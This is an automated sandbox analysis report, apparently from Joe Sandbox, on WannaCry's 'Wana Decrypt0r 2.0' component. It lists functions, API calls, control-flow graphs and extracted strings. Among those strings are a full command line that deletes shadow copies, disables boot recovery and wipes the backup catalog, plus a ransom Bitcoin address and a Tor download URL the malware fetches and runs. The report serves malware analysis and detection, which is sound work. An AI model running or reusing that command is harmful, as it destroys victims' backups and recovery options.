                                        • Instruction Fuzzy Hash: D6610371604340EFD330EB28DD81BEFB795AB90324F444A3EF199932D0DB78594586AB
                                        Function 004064D0 Relevance: 44.0, APIs: 20, Strings: 5, Instructions: 256stringwindowtimeCOMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        APIs
                                        • #4710.MFC42 ref: 004064DC
                                        • SendMessageA.USER32(?,00000080,00000001,?), ref: 004064F9
                                        • SendMessageA.USER32(?,00000080,00000000,?), ref: 0040650D
                                          • Part of subcall function 00401C70: wcscat.MSVCRT ref: 00401CC1
                                          • Part of subcall function 00401C70: RegCreateKeyW.ADVAPI32(80000001,?,?), ref: 00401D00
                                          • Part of subcall function 00401C70: GetCurrentDirectoryA.KERNEL32(00000207,?), ref: 00401D2A
                                          • Part of subcall function 00401C70: RegSetValueExA.ADVAPI32(?,0041FDC4,00000000,00000001,?), ref: 00401D53
                                          • Part of subcall function 00401C70: RegCloseKey.KERNELBASE(00000000), ref: 00401DA3
                                        • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00406541
                                        • strrchr.MSVCRT ref: 00406554
                                        • strrchr.MSVCRT ref: 00406564
                                        • SetCurrentDirectoryA.KERNEL32(?), ref: 00406571
                                        • time.MSVCRT ref: 004065D1
                                        • __p___argc.MSVCRT(00000202,?), ref: 004065FA
                                        • __p___argv.MSVCRT ref: 0040661A
                                        • ExitProcess.KERNEL32 ref: 0040665B
                                        • __p___argv.MSVCRT ref: 00406666
                                        • ExitProcess.KERNEL32 ref: 004066A7
                                        • __p___argv.MSVCRT ref: 004066B2
                                        • Sleep.KERNEL32(00002710), ref: 004066F3
                                        • sprintf.MSVCRT ref: 0040676A
                                        • ExitProcess.KERNEL32 ref: 00406786
                                        • SetWindowTextW.USER32(?,Wana Decrypt0r 2.0), ref: 0040679C
                                        • SetTimer.USER32(?,000003E9,000003E8,00000000), ref: 004067C6
                                        • SetTimer.USER32(?,000003EA,00007530,00000000), ref: 004067D8
                                        Strings
                                        • /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, xrefs: 004066FE
                                        • 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94, xrefs: 00406595
                                        • Wana Decrypt0r 2.0, xrefs: 00406796
                                        • %s %s, xrefs: 00406764
                                        • cmd.exe, xrefs: 0040671C
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: ExitProcess__p___argv$CurrentDirectoryMessageSendTimerstrrchr$#4710CloseCreateFileModuleNameSleepTextValueWindow__p___argcsprintftimewcscat
                                        • String ID: %s %s$/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet$13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94$Wana Decrypt0r 2.0$cmd.exe
                                        • API String ID: 623806192-606506946
                                        • Opcode ID: ae9b914f860960fc1fe1eb8876ac2c32c64d9403cfc96aba4f43f79c31e3e0e0
                                        • Instruction ID: 76468553a1f47653d6b265dfd970fa21b418b24b97d30d9546a7e2687b9e40c0
                                        • Opcode Fuzzy Hash: ae9b914f860960fc1fe1eb8876ac2c32c64d9403cfc96aba4f43f79c31e3e0e0
                                        • Instruction Fuzzy Hash: 72816C35704301ABD7109F309C41BEB7B95AF99304F15493AFD4AAB3D1DA7AE8188B98
                                        Function 004060E0 Relevance: 35.1, APIs: 16, Strings: 4, Instructions: 139windowCOMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        APIs
                                        • #324.MFC42(00000066,00000000,?,?,?,?,?,00000000,00413E0B,000000FF,00405AAB,00000000), ref: 00406107
                                        • #567.MFC42(00000066,00000000,?,?,?,?,?,00000000,00413E0B,000000FF,00405AAB,00000000), ref: 00406117
                                        • #567.MFC42(00000066,00000000), ref: 0040612F
                                        • #567.MFC42(00000066,00000000), ref: 00406147
                                          • Part of subcall function 004085C0: #567.MFC42(00000000,?,?,?,000000FF,00405AAB,00000000), ref: 004085E2
                                          • Part of subcall function 004085C0: #341.MFC42(00000000,?,?,?,000000FF,00405AAB,00000000), ref: 004085F6
                                          • Part of subcall function 004085C0: GetSysColor.USER32 ref: 0040861D
                                          • Part of subcall function 004085C0: GetSysColor.USER32(00000009), ref: 00408624
                                          • Part of subcall function 004085C0: GetSysColor.USER32(00000012), ref: 0040862B
                                          • Part of subcall function 004085C0: GetSysColor.USER32(00000002), ref: 00408632
                                          • Part of subcall function 004085C0: KiUserCallbackDispatcher.NTDLL(00001008,00000000,00000000,00000000), ref: 0040864A
                                          • Part of subcall function 004085C0: GetSysColor.USER32(0000001B), ref: 0040865C
                                          • Part of subcall function 004085C0: #6140.MFC42(00000002,000000FF), ref: 00408667
                                          • Part of subcall function 00404090: #567.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040B0
                                          • Part of subcall function 00404090: #540.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040C6
                                          • Part of subcall function 00404090: #540.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040D5
                                          • Part of subcall function 00404090: #860.MFC42(00421798), ref: 004040F6
                                          • Part of subcall function 00404090: #858.MFC42(00000000,00421798), ref: 004040FE
                                          • Part of subcall function 00404090: LoadCursorA.USER32(00000000,00007F89), ref: 00404118
                                          • Part of subcall function 00404090: LoadCursorA.USER32(00000000,00007F00), ref: 00404123
                                          • Part of subcall function 00405000: #567.MFC42(?,?,?,?,00413893,000000FF), ref: 0040501E
                                          • Part of subcall function 00405000: #540.MFC42(?,?,?,?,00413893,000000FF), ref: 00405032
                                        • #567.MFC42(00000066,00000000), ref: 004061DF
                                        • #540.MFC42(00000066,00000000), ref: 004061F7
                                        • #540.MFC42(00000066,00000000), ref: 00406209
                                        • #540.MFC42(00000066,00000000), ref: 00406219
                                        • #540.MFC42(00000066,00000000), ref: 00406229
                                        • #860.MFC42(00421798,00000066,00000000), ref: 004062F7
                                        • #860.MFC42(00421798,00421798,00000066,00000000), ref: 00406303
                                        • #860.MFC42(00421798,00421798,00421798,00000066,00000000), ref: 00406313
                                        • #1168.MFC42(00421798,00421798,00421798,00000066,00000000), ref: 00406318
                                        • #1146.MFC42(00000080,0000000E,00000080,00421798,00421798,00421798,00000066,00000000), ref: 00406329
                                        • LoadIconA.USER32(00000000,00000080), ref: 0040632F
                                        • #860.MFC42(00421798), ref: 00406358
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #540#567$#860Color$Load$Cursor$#1146#1168#324#341#6140#858CallbackDispatcherIconUser
                                        • String ID: 0ZA$0ZA$0ZA$DZA
                                        • API String ID: 3237077636-3729005435
                                        • Opcode ID: 8898f9c07cd83b19e88eb16f26038038037ccb9ffe995bcce6d49ed8a8e75e34
                                        • Instruction ID: 094c42c2691411c2b0867f220185f46eb880b1852b80e7f1edf951ce12ca3c27
                                        • Opcode Fuzzy Hash: 8898f9c07cd83b19e88eb16f26038038037ccb9ffe995bcce6d49ed8a8e75e34
                                        • Instruction Fuzzy Hash: 6261E970544B419ED364EF36C5817DAFBE4BF95304F40891EE1EA82281DFB86149CFAA
                                        Function 0040B840 Relevance: 31.6, APIs: 10, Strings: 8, Instructions: 138synchronizationprocessfileCOMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        APIs
                                        • sprintf.MSVCRT ref: 0040B87A
                                        • GetFileAttributesA.KERNELBASE(?,?,?,?,00000000,?), ref: 0040B88D
                                        • CreateProcessA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 0040B9AA
                                          • Part of subcall function 0040B6A0: CreateDirectoryA.KERNELBASE(?,00000000,?,770D3310,00000000,00000428), ref: 0040B6B4
                                          • Part of subcall function 0040B6A0: DeleteFileA.KERNEL32(?), ref: 0040B6D9
                                        • sprintf.MSVCRT ref: 0040B924
                                        • GetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0040B934
                                          • Part of subcall function 0040B780: CreateDirectoryA.KERNEL32(?,00000000,?,770D3310,00000428), ref: 0040B793
                                          • Part of subcall function 0040B780: GetTempFileNameA.KERNEL32(?,004214DC,00000000,?), ref: 0040B7D4
                                          • Part of subcall function 0040B780: DeleteUrlCacheEntry.WININET(?), ref: 0040B7DB
                                          • Part of subcall function 0040B780: URLDownloadToFileA.URLMON(00000000,?,?,00000000,00000000), ref: 0040B7ED
                                          • Part of subcall function 0040B780: DeleteFileA.KERNEL32(?), ref: 0040B815
                                        • CopyFileA.KERNEL32(?,?,00000000), ref: 0040B955
                                        • WaitForSingleObject.KERNEL32(?,00001388,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 0040B9CF
                                        • WaitForSingleObject.KERNEL32(?,00007530,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 0040B9E2
                                        • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000,08000000), ref: 0040B9EF
                                        • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000,08000000), ref: 0040B9F6
                                          • Part of subcall function 0040B780: DeleteFileA.KERNEL32(?), ref: 0040B82C
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: File$Delete$Create$AttributesCloseDirectoryHandleObjectSingleWaitsprintf$CacheCopyDownloadEntryNameProcessTemp
                                        • String ID: %s\%s\%s$D$TaskData$Tor$https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip$s.wnry$taskhsvc.exe$tor.exe
                                        • API String ID: 4284242699-3937372533
                                        • Opcode ID: 09006d51623bf6324b32cedefd723180e41c2e4a94ec42060d8d8d083510f0e4
                                        • Instruction ID: 35d80fb58dc1195f77b7b167f0129d00e9adf464e01d9889cd120ecf7352bd78
                                        • Opcode Fuzzy Hash: 09006d51623bf6324b32cedefd723180e41c2e4a94ec42060d8d8d083510f0e4
                                        • Instruction Fuzzy Hash: 0C4137716443007AD710DBA4EC41BEBB7D4AFE8700F90883FF698532E1D6B99548879E
                                        Function 00405A60 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 134COMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        APIs
                                          • Part of subcall function 0040B620: FindWindowW.USER32(00000000,00000000), ref: 0040B628
                                          • Part of subcall function 0040B620: ShowWindow.USER32(00000000,00000005,00000000,?,00000000), ref: 0040B638
                                          • Part of subcall function 0040B620: SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000043,?,00000000), ref: 0040B651
                                          • Part of subcall function 0040B620: SetWindowPos.USER32(00000000,000000FE,00000000,00000000,00000000,00000000,00000043,?,00000000), ref: 0040B660
                                          • Part of subcall function 0040B620: SetForegroundWindow.USER32(00000000), ref: 0040B663
                                          • Part of subcall function 0040B620: SetFocus.USER32(00000000,?,00000000), ref: 0040B66A
                                          • Part of subcall function 0040B620: SetActiveWindow.USER32(00000000,?,00000000), ref: 0040B671
                                          • Part of subcall function 0040B620: BringWindowToTop.USER32(00000000), ref: 0040B678
                                          • Part of subcall function 0040B620: ExitProcess.KERNEL32 ref: 0040B689
                                        • #1134.MFC42(00000000,Wana Decrypt0r 2.0,00000001), ref: 00405A8C
                                        • #2621.MFC42 ref: 00405A96
                                        • #6438.MFC42 ref: 00405A9B
                                          • Part of subcall function 004060E0: #324.MFC42(00000066,00000000,?,?,?,?,?,00000000,00413E0B,000000FF,00405AAB,00000000), ref: 00406107
                                          • Part of subcall function 004060E0: #567.MFC42(00000066,00000000,?,?,?,?,?,00000000,00413E0B,000000FF,00405AAB,00000000), ref: 00406117
                                          • Part of subcall function 004060E0: #567.MFC42(00000066,00000000), ref: 0040612F
                                          • Part of subcall function 004060E0: #567.MFC42(00000066,00000000), ref: 00406147
                                          • Part of subcall function 004060E0: #567.MFC42(00000066,00000000), ref: 004061DF
                                          • Part of subcall function 004060E0: #540.MFC42(00000066,00000000), ref: 004061F7
                                          • Part of subcall function 004060E0: #540.MFC42(00000066,00000000), ref: 00406209
                                          • Part of subcall function 004060E0: #540.MFC42(00000066,00000000), ref: 00406219
                                          • Part of subcall function 004060E0: #540.MFC42(00000066,00000000), ref: 00406229
                                        • #2514.MFC42 ref: 00405AC1
                                          • Part of subcall function 00403F20: #2414.MFC42(?,?,?,004136B8,000000FF,00403F08), ref: 00403F4B
                                          • Part of subcall function 00403F90: #2414.MFC42(?,?,?,004136D8,000000FF,00403F78), ref: 00403FBB
                                        • #800.MFC42 ref: 00405C33
                                        • #800.MFC42 ref: 00405C47
                                        • #800.MFC42 ref: 00405C5B
                                        • #800.MFC42 ref: 00405C6F
                                        • #781.MFC42 ref: 00405C83
                                          • Part of subcall function 004050A0: #800.MFC42(?,?,?,004138A8,000000FF,00405088), ref: 004050CE
                                          • Part of subcall function 004050A0: #795.MFC42(?,?,?,004138A8,000000FF,00405088), ref: 004050DD
                                          • Part of subcall function 00404170: #2414.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041B2
                                          • Part of subcall function 00404170: #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041C5
                                          • Part of subcall function 00404170: #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041D2
                                          • Part of subcall function 00404170: #795.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041E1
                                          • Part of subcall function 00405D90: #654.MFC42(00415A44,?,00000000,00413A88,000000FF,00405D14), ref: 00405DBE
                                          • Part of subcall function 00405D90: #765.MFC42(00415A44,?,00000000,00413A88,000000FF,00405D14), ref: 00405DCD
                                        • #609.MFC42 ref: 00405D37
                                        • #609.MFC42 ref: 00405D4B
                                        • #616.MFC42 ref: 00405D5C
                                        • #641.MFC42 ref: 00405D70
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #800Window$#540#567$#2414$#609#795$#1134#2514#2621#324#616#641#6438#654#765#781ActiveBringExitFindFocusForegroundProcessShow
                                        • String ID: 0ZA$DZA$Wana Decrypt0r 2.0
                                        • API String ID: 3942368781-2594244635
                                        • Opcode ID: e0fcef159a601972dbb815ea7c34e59d1ddbf6f278b0c37dd8899ed76481b774
                                        • Instruction ID: 9717df00861f10ea142a6202e5f0f29f583150bd1f0a7909c2c79a4805d5fd97
                                        • Opcode Fuzzy Hash: e0fcef159a601972dbb815ea7c34e59d1ddbf6f278b0c37dd8899ed76481b774
                                        • Instruction Fuzzy Hash: 3871B7345097C18EE735EB25C2557DFBBE4BFA6308F48981E94C916682DFB81108CBA7
                                        Function 00407A90 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 90COMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 178 407a90-407ab7 179 407bf4-407c28 #2385 178->179 180 407abd-407ac5 178->180 181 407ac7 180->181 182 407aca-407ad1 180->182 181->182 182->179 183 407ad7-407af9 call 404c40 #2514 182->183 186 407b72-407bef #2414 * 2 #800 #641 183->186 187 407afb-407b6d #537 #941 #939 #6876 * 2 #535 call 4082c0 #800 183->187 186->179 187->186
                                        APIs
                                        • #2514.MFC42 ref: 00407AF1
                                        • #537.MFC42(***), ref: 00407B04
                                        • #941.MFC42(00421234,***), ref: 00407B1A
                                        • #939.MFC42(?,00421234,***), ref: 00407B28
                                        • #6876.MFC42(0000000A,0000003B,?,00421234,***), ref: 00407B35
                                        • #6876.MFC42(0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407B42
                                        • #535.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407B55
                                        • #800.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407B6D
                                        • #2414.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407B99
                                        • #2414.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407BC2
                                        • #800.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407BDB
                                        • #641.MFC42(?,?,00000001,0000000D,0000003B,0000000A,0000003B,?,00421234,***), ref: 00407BEF
                                        • #2385.MFC42(?,?,?), ref: 00407C0E
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #2414#6876#800$#2385#2514#535#537#641#939#941
                                        • String ID: ***$[A$[A
                                        • API String ID: 3659526348-3419262722
                                        • Opcode ID: aba664889de062b5968d276a4ab1c1a83eae795fd60498f81a51ba759143eada
                                        • Instruction ID: 6b54b999ec918a2e7db5809f8de8f0b59fd624410e6f3b71b4409e3b9ece79cc
                                        • Opcode Fuzzy Hash: aba664889de062b5968d276a4ab1c1a83eae795fd60498f81a51ba759143eada
                                        • Instruction Fuzzy Hash: D5416A3410C781DAD324DB21C541BEFB7E4BB94704F408A1EB5A9832D1DBB89549CF67
                                        Function 004063A0 Relevance: 22.6, APIs: 15, Instructions: 82COMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 223 4063a0-4064b5 #2302 * 12 #2370 * 3
                                        APIs
                                        • #2302.MFC42(?,0000040F,?), ref: 004063B2
                                        • #2302.MFC42(?,000003EC,?,?,0000040F,?), ref: 004063C4
                                        • #2302.MFC42(?,000003EB,?,?,000003EC,?,?,0000040F,?), ref: 004063D6
                                        • #2302.MFC42(?,000003F3,?,?,000003EB,?,?,000003EC,?,?,0000040F,?), ref: 004063E8
                                        • #2302.MFC42(?,000003F4,?,?,000003F3,?,?,000003EB,?,?,000003EC,?,?,0000040F,?), ref: 004063FA
                                        • #2302.MFC42(?,000003F5,?,?,000003F4,?,?,000003F3,?,?,000003EB,?,?,000003EC,?,?), ref: 0040640C
                                        • #2302.MFC42(?,000003F2,?,?,000003F5,?,?,000003F4,?,?,000003F3,?,?,000003EB,?,?), ref: 0040641E
                                        • #2302.MFC42(?,000003EE,?,?,000003F2,?,?,000003F5,?,?,000003F4,?,?,000003F3,?,?), ref: 00406430
                                        • #2302.MFC42(?,000003F9,?,?,000003EE,?,?,000003F2,?,?,000003F5,?,?,000003F4,?,?), ref: 00406442
                                        • #2302.MFC42(?,00000401,?,?,000003F9,?,?,000003EE,?,?,000003F2,?,?,000003F5,?,?), ref: 00406454
                                        • #2302.MFC42(?,000003FD,?,?,00000401,?,?,000003F9,?,?,000003EE,?,?,000003F2,?,?), ref: 00406466
                                        • #2302.MFC42(?,000003E8,?,?,000003FD,?,?,00000401,?,?,000003F9,?,?,000003EE,?,?), ref: 00406478
                                        • #2370.MFC42(?,000003FF,?,?,000003E8,?,?,000003FD,?,?,00000401,?,?,000003F9,?,?), ref: 0040648A
                                        • #2370.MFC42(?,000003FC,?,?,000003FF,?,?,000003E8,?,?,000003FD,?,?,00000401,?,?), ref: 0040649C
                                        • #2370.MFC42(?,000003EF,?,?,000003FC,?,?,000003FF,?,?,000003E8,?,?,000003FD,?,?), ref: 004064AE
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #2302$#2370
                                        • String ID:
                                        • API String ID: 1711274145-0
                                        • Opcode ID: f4b882eb859de0a193a05a3978ec51d1331cae20c00cf70a3d190a6334ff0923
                                        • Instruction ID: 0d28d22553b71fc94a0ee6c66579bb390b9294cd647fac9b7e1ecc0347327b15
                                        • Opcode Fuzzy Hash: f4b882eb859de0a193a05a3978ec51d1331cae20c00cf70a3d190a6334ff0923
                                        • Instruction Fuzzy Hash: 32218E711806017FE22AE365CD82FFFA26CEF85B04F00452EB369951C1BBE8365B5665
                                        Function 00412360 Relevance: 17.9, APIs: 7, Strings: 3, Instructions: 366COMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 319 412360-412376 320 412378-41237b 319->320 321 41239c-4123a8 319->321 324 412381-412384 320->324 325 412499-4124a1 320->325 322 412414-412438 call 411810 321->322 323 4123aa-4123ad 321->323 342 41243a-412445 call 411ac0 322->342 343 41244c-412452 322->343 326 4123ba-4123c6 323->326 327 4123af-4123b7 call 411ac0 323->327 324->325 331 41238a-412399 324->331 329 4124a3-4124ab call 411ac0 325->329 330 4124ae-4124bd 325->330 336 4123c8-4123d7 326->336 337 4123da-4123dd 326->337 327->326 329->330 332 4124d1-4124d4 330->332 333 4124bf-4124ce 330->333 339 4124d6-4124dc call 411390 332->339 340 4124df-4124e4 332->340 344 4123e8-4123ed 337->344 345 4123df-4123e5 call 411390 337->345 339->340 349 4124f6-41250e call 411cf0 340->349 350 4124e6-4124f4 call 4113e0 340->350 342->343 351 412463-412465 343->351 352 412454-412460 343->352 354 4123ff-412411 call 411660 344->354 355 4123ef-4123fd call 4113e0 344->355 345->344 369 412510-412513 349->369 370 412578-41257b 349->370 350->349 360 412467-412476 351->360 361 412479-412496 351->361 354->322 355->354 373 412515-412521 369->373 374 412524-41252f 369->374 371 412589-412598 370->371 372 41257d-412584 370->372 378 41259a-41259c 371->378 379 4125ad-4125d8 371->379 377 412632-412635 372->377 375 412531-412533 374->375 376 41253f-412556 call 412250 374->376 375->376 380 412535-412537 375->380 384 412637-412646 377->384 385 41269e-4126b8 call 411660 377->385 386 4125a2 378->386 387 41259e-4125a0 378->387 381 412649-412658 379->381 382 4125da 379->382 389 412559-412575 call 412250 380->389 390 412539-41253d 380->390 393 412671-412699 wsprintfA call 412250 381->393 394 41265a-41265c 381->394 391 4125df-41260a wsprintfA call 412250 382->391 401 4126ba-4126c7 #823 385->401 402 4126cd-4126d3 385->402 395 4125a5-4125ab 386->395 387->386 387->395 390->376 390->389 408 41260d-412630 CreateFileA 391->408 393->408 394->393 399 41265e-412660 394->399 395->378 395->379 399->391 405 412666-41266b 399->405 401->402 407 4126db-4126fc call 411810 402->407 405->391 405->393 411 412728-412730 407->411 412 4126fe-412700 407->412 408->377 415 412765-41276d 411->415 413 412702 412->413 414 41273c-412744 412->414 418 412704-412718 WriteFile 413->418 419 41271a-412720 413->419 414->415 416 412776-41278f call 411ac0 415->416 417 41276f-412770 FindCloseChangeNotification 415->417 417->416 418->419 421 412732-41273a 418->421 422 412722-412724 419->422 423 412746-41275f SetFileTime 419->423 421->415 422->414 425 412726 422->425 423->415 425->407
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID:
                                        • String ID: %s%s$%s%s%s$:
                                        • API String ID: 0-3034790606
                                        • Opcode ID: 07cbcd80151418baf6c2ab221ceef5d4791d1a14bb7a78bcbd76af968fc9e1a7
                                        • Instruction ID: ec0a86814d75b7591ef383b01d603f7b60d36dbaf36e5cde56c141efaaef7cbf
                                        • Opcode Fuzzy Hash: 07cbcd80151418baf6c2ab221ceef5d4791d1a14bb7a78bcbd76af968fc9e1a7
                                        • Instruction Fuzzy Hash: 67C138726002045BDB20DF18ED81BEB7398EB85314F04456BFD54CB385D2BDE99A87AA
                                        Function 00401C70 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 114registryCOMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 426 401c70-401cd8 wcscat 427 401cdc-401cde 426->427 428 401ce0-401cef 427->428 429 401cf1-401cfb 427->429 430 401d00-401d0c RegCreateKeyW 428->430 429->430 431 401d12-401d1b 430->431 432 401dad-401db5 430->432 433 401d62-401d8e RegQueryValueExA 431->433 434 401d1d-401d60 GetCurrentDirectoryA RegSetValueExA 431->434 432->427 435 401dbb-401dc7 432->435 436 401d9e-401dab RegCloseKey 433->436 437 401d90-401d98 SetCurrentDirectoryA 433->437 434->436 436->432 438 401dc8-401dd7 436->438 437->436
                                        APIs
                                        • wcscat.MSVCRT ref: 00401CC1
                                        • RegCreateKeyW.ADVAPI32(80000001,?,?), ref: 00401D00
                                        • GetCurrentDirectoryA.KERNEL32(00000207,?), ref: 00401D2A
                                        • RegSetValueExA.ADVAPI32(?,0041FDC4,00000000,00000001,?), ref: 00401D53
                                        • RegQueryValueExA.KERNELBASE ref: 00401D81
